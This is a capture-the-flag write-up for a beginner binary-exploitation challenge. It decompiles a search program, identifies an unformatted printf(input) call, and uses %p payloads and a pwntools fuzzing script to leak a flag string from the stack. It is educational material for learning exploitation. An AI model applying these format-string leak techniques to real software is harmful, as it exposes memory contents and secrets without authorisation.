Binary Exploitation
Source: Intigriti_22
Basic File Check
┌──(venv)─(mark㉿haxor)-[~/…/Pentest/BOF/03-begineer_bof/search_engine]
└─$ file search_engine
search_engine: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=96fdf35c8cf22bdbe64c6d8b3b369b8593ee9c8a, not stripped
┌──(venv)─(mark㉿haxor)-[~/…/Pentest/BOF/03-begineer_bof/search_engine]
└─$ checksec search_engine
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110)
[*] '/home/mark/Documents/Pentest/BOF/03-begineer_bof/search_engine/search_engine'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
We’re working with x64 binary. The protection enabled are NX & PIE
No canary present
I’ll run the binary to know what it does
─(mark㉿haxor)-[~/…/Pentest/BOF/03-begineer_bof/search_engine]
└─$ ./search_engine
_____ _ ______ _
/ ____| | | | ____| (_)
| (___ ___ __ _ _ __ ___ | |__ | |__ _ __ __ _ _ _ __ ___
\___ \ / _ \ / _` | | '__| / __| | '_ \ | __| | '_ \ / _` | | | | '_ \ / _ \
____) | | __/ | (_| | | | | (__ | | | | | |____ | | | | | (_| | | | | | | | | __/
|_____/ \___| \__,_| |_| \___| |_| |_| |______| |_| |_| \__, | |_| |_| |_| \___|
__/ |
|___/
Search: lol
No result found. You searched for - lol
We see that what we searched for is printed out to us
I’ll decompile the binary using ghidra
undefined8 main(void)
{
int iVar1;
char input [32];
undefined8 local_38;
undefined8 local_30;
undefined8 local_28;
undefined8 local_20;
undefined2 local_18;
char local_d;
int local_c;
local_38 = 0x6c6166207475707b;
local_30 = 0x202c657265682067;
local_28 = 0x20747361656c7461;
local_20 = 0x7372616863203233;
local_18 = 0x7d;
puts(" _____ _ ______ _");
puts(" / ____| | | | ____| (_)");
puts(" | (___ ___ __ _ _ __ ___ | |__ | |__ _ __ __ _ _ _ __ ___"
);
puts(
" \\___ \\ / _ \\ / _` | | \'__| / __| | \'_ \\ | __| | \'_ \\ / _` | | | | \'_ \ \ / _ \\"
);
puts(
" ____) | | __/ | (_| | | | | (__ | | | | | |____ | | | | | (_| | | | | | | | | __/"
);
puts(
" |_____/ \\___| \\__,_| |_| \\___| |_| |_| |______| |_| |_| \\__, | |_| |_| |_| \\ ___|"
);
puts(" __/ |");
puts(" |___/");
printf("Search: ");
local_c = 0;
while( true ) {
iVar1 = getchar();
local_d = (char)iVar1;
if (((local_d == -1) || (local_d == '\r')) || (local_d == '\n')) break;
if (local_c < 0x19) {
iVar1 = tolower((int)local_d);
input[local_c] = (char)iVar1;
local_c = local_c + 1;
}
}
input[local_c] = '\0';
iVar1 = strcmp(input,"help");
if (iVar1 == 0) {
puts("From today, dialing 999 won\'t get you the emergency services. And that\'s not");
puts("the only thing that\'s changing. Nicer ambulances, faster response times an");
puts("better-looking drivers mean they\'re not just \"the\" emergency services - they\'re");
puts("\"your\" emergency services. So, remember the new number:\n");
printf("0118 999 881 999 119 725 3");
}
else {
iVar1 = strcmp(input,"intigriti");
if (iVar1 == 0) {
puts("Intigriti helps companies protect themselves from cybercrime. Our community of");
puts("ethical hackers provides continuous, realistic security testing to protect our");
printf(&DAT_001024c0);
}
else {
iVar1 = strcmp(input,"swag");
if (iVar1 == 0) {
printf("Please visit https://https://swag.intigriti.com/");
}
else {
iVar1 = strcmp(input,"voucher");
if (iVar1 == 0) {
printf("Please visit https://bit.ly/3o2R1zV (first come first served)");
}
else {
iVar1 = strcmp(input,"flag");
if (iVar1 == 0) {
puts(" ___");
puts(" \\_/");
puts(" |._");
puts(" |\'.\"-._.-\"\"--.-\"-.__.-\'/");
puts(" | \\ .-. (");
puts(" | | (@.@) )");
puts(" | | \'=.|m|.=\' /");
puts(" jgs | / .=\'`\"``=. /");
puts(" |.\' (");
puts(" |.-\"-.__.-\"\"-.__.-\"-.)");
puts(" |");
puts(" |");
puts(" |");
}
else {
iVar1 = strcmp(input,"id");
if (iVar1 != 0) {
iVar1 = strcmp(input,"pwd");
if (iVar1 != 0) {
iVar1 = strcmp(input,"ls");
if (iVar1 != 0) {
iVar1 = strcmp(input,"whoami");
if (iVar1 != 0) {
printf("No result found. You searched for - ");
printf(input);
goto LAB_001014c2;
}
}
}
}
printf("Please visit https://www.youtube.com/watch?v=dQw4w9WgXcQ");
}
}
}
}
}
LAB_001014c2:
printf("\n",&local_38);
return 0;
}
It’s quite much lol i won’t explain deeply whats happening cause its quite self explanatory
But what is needed is that it stores some value in the stack and the input we search when printed out doesn’t use a format specifier
printf(input);
Now this is a format string vulnerability
So decoding the value stored in the stack
┌──(venv)─(mark㉿haxor)-[~/…/Pentest/BOF/03-begineer_bof/search_engine]
└─$ echo 0x7d0x73726168632032330x20747361656c74610x202c6572656820670x6c6166207475707b | xxd -r -p | rev
{put falg here, atleast 32 chars}
So the flag is stored there
Now with this format string vulnerability i can leak address from the stack
Like this:
┌──(venv)─(mark㉿haxor)-[~/…/Pentest/BOF/03-begineer_bof/search_engine]
└─$ ./search_engine
_____ _ ______ _
/ ____| | | | ____| (_)
| (___ ___ __ _ _ __ ___ | |__ | |__ _ __ __ _ _ _ __ ___
\___ \ / _ \ / _` | | '__| / __| | '_ \ | __| | '_ \ / _` | | | | '_ \ / _ \
____) | | __/ | (_| | | | | (__ | | | | | |____ | | | | | (_| | | | | | | | | __/
|_____/ \___| \__,_| |_| \___| |_| |_| |______| |_| |_| \__, | |_| |_| |_| \___|
__/ |
|___/
Search: %p %p %p %p %p
No result found. You searched for - 0x5619f5dfe6b8 (nil) (nil) 0x5619f6ca5000 0x21001
So i can get the address where our input is stored on the stack
┌──(venv)─(mark㉿haxor)-[~/…/Pentest/BOF/03-begineer_bof/search_engine]
└─$ ./search_engine
_____ _ ______ _
/ ____| | | | ____| (_)
| (___ ___ __ _ _ __ ___ | |__ | |__ _ __ __ _ _ _ __ ___
\___ \ / _ \ / _` | | '__| / __| | '_ \ | __| | '_ \ / _` | | | | '_ \ / _ \
____) | | __/ | (_| | | | | (__ | | | | | |____ | | | | | (_| | | | | | | | | __/
|_____/ \___| \__,_| |_| \___| |_| |_| |______| |_| |_| \__, | |_| |_| |_| \___|
__/ |
|___/
Search: aaaa%p%p%p%p%p%p%p%p%p%p%p%p
No result found. You searched for - aaaa0x5590826ca6b8(nil)(nil)0x5590838090000x210010x70257025616161610x70257025702570250x70257025702570250x250x6c6166207475707b
With this it seems our input is stored at offset 6
└─$ ./search_engine
_____ _ ______ _
/ ____| | | | ____| (_)
| (___ ___ __ _ _ __ ___ | |__ | |__ _ __ __ _ _ _ __ ___
\___ \ / _ \ / _` | | '__| / __| | '_ \ | __| | '_ \ / _` | | | | '_ \ / _ \
____) | | __/ | (_| | | | | (__ | | | | | |____ | | | | | (_| | | | | | | | | __/
|_____/ \___| \__,_| |_| \___| |_| |_| |______| |_| |_| \__, | |_| |_| |_| \___|
__/ |
|___/
Search: aaaa%6$p
No result found. You searched for - aaaa0x7024362561616161
We can use this approach to leak address that is in the stack. But doing it manually will take time
So here’s the script to solve it
from pwn import *
context.log_level = 'info'
flag = ''
# Let's fuzz x values
for i in range(100):
try:
# Connect to server
io = process('./search_engine', level='warn')
# Format the counter
# e.g. %i$p will attempt to print [i]th pointer (or string/hex/char/int)
io.sendline('%{}$p'.format(i).encode())
# Receive the response (leaked address followed by '.' in this case)
io.recvuntil(b'No result found. You searched for - ')
result = io.recv()
if not b'nil' in result:
print(str(i) + ': ' + str(result))
try:
# Decode, reverse endianess and print
decoded = unhex(result.strip().decode()[2:])
reversed_hex = decoded[::-1]
print(str(reversed_hex))
# Build up flag
flag += reversed_hex.decode()
except BaseException:
pass
io.close()
except EOFError:
io.close()
# Print and close
info(flag)
What it does is that it automates the process of sending %p which will get various address of the stack, it then it will attempt to get the string of it
Why am doing this is so that we can leak the string of the flag stored at the stack
On running it
┌──(venv)─(mark㉿haxor)-[~/…/Pentest/BOF/03-begineer_bof/search_engine]
└─$ python2 fuzz.py
0: %0$p
1: 0x5620aa8096b8
\xb8\x96\x80\xaa V
4: 0x5575025df000
\x00]uU
5: 0x21001
\x10
6: 0x70243625
%6$p
10: 0x6c6166207475707b
{put fal
11: 0x202c657265682067
g here,
12: 0x20747361656c7461
atleast
13: 0x7372616863203233
32 chars
14: 0x7d
}
15: 0x50a1fcad0
��\x1f\x05
16: 0x1
17: 0x7f3b7867818a
\x8a\x81gx;\x7f
18: 0x7ffcf7c0d690
\x90����
19: 0x5603e4cea175
u\xa1��\x03
20: 0x196138040
@\x80\x13
[[--------------------SNIP-------------------]]
97: 0x7ffd4f01f878
x�O�
98: 0x7fff27e4d8b0
\xb0��'\xff\x7f
99: 0x7ffe1ad778ce
�x�▒\xfe\x7f
[*] \x10%6$p{put falg here, atleast 32 chars} P! I\x7f
8
So if you notice the offset at 11 to offset 16 thats where the flag is stored
With this here’s the modified code
from pwn import *
context.log_level = 'info'
flag = ''
# Let's fuzz x values
for i in range(6, 15):
try:
# Connect to server
io = process('./search_engine', level='warn')
# Format the counter
# e.g. %i$p will attempt to print [i]th pointer (or string/hex/char/int)
io.sendline('%{}$p'.format(i).encode())
# Receive the response (leaked address followed by '.' in this case)
io.recvuntil(b'No result found. You searched for - ')
result = io.recv()
if not b'nil' in result:
print(str(i) + ': ' + str(result))
try:
# Decode, reverse endianess and print
decoded = unhex(result.strip().decode()[2:])
reversed_hex = decoded[::-1]
print(str(reversed_hex))
# Build up flag
flag += reversed_hex.decode()
except BaseException:
pass
io.close()
except EOFError:
io.close()
# Print and close
info(flag)
Running it still leaks the flag in the stack 😉
└─$ python2 fuzz.py
6: 0x70243625
%6$p
10: 0x6c6166207475707b
{put fal
11: 0x202c657265682067
g here,
12: 0x20747361656c7461
atleast
13: 0x7372616863203233
32 chars
14: 0x7d
}
[*] %6$p{put falg here, atleast 32 chars}
There isn’t any remote server for me to connect to cause its down but that is how the exploit will also work on the remote server
And we’re done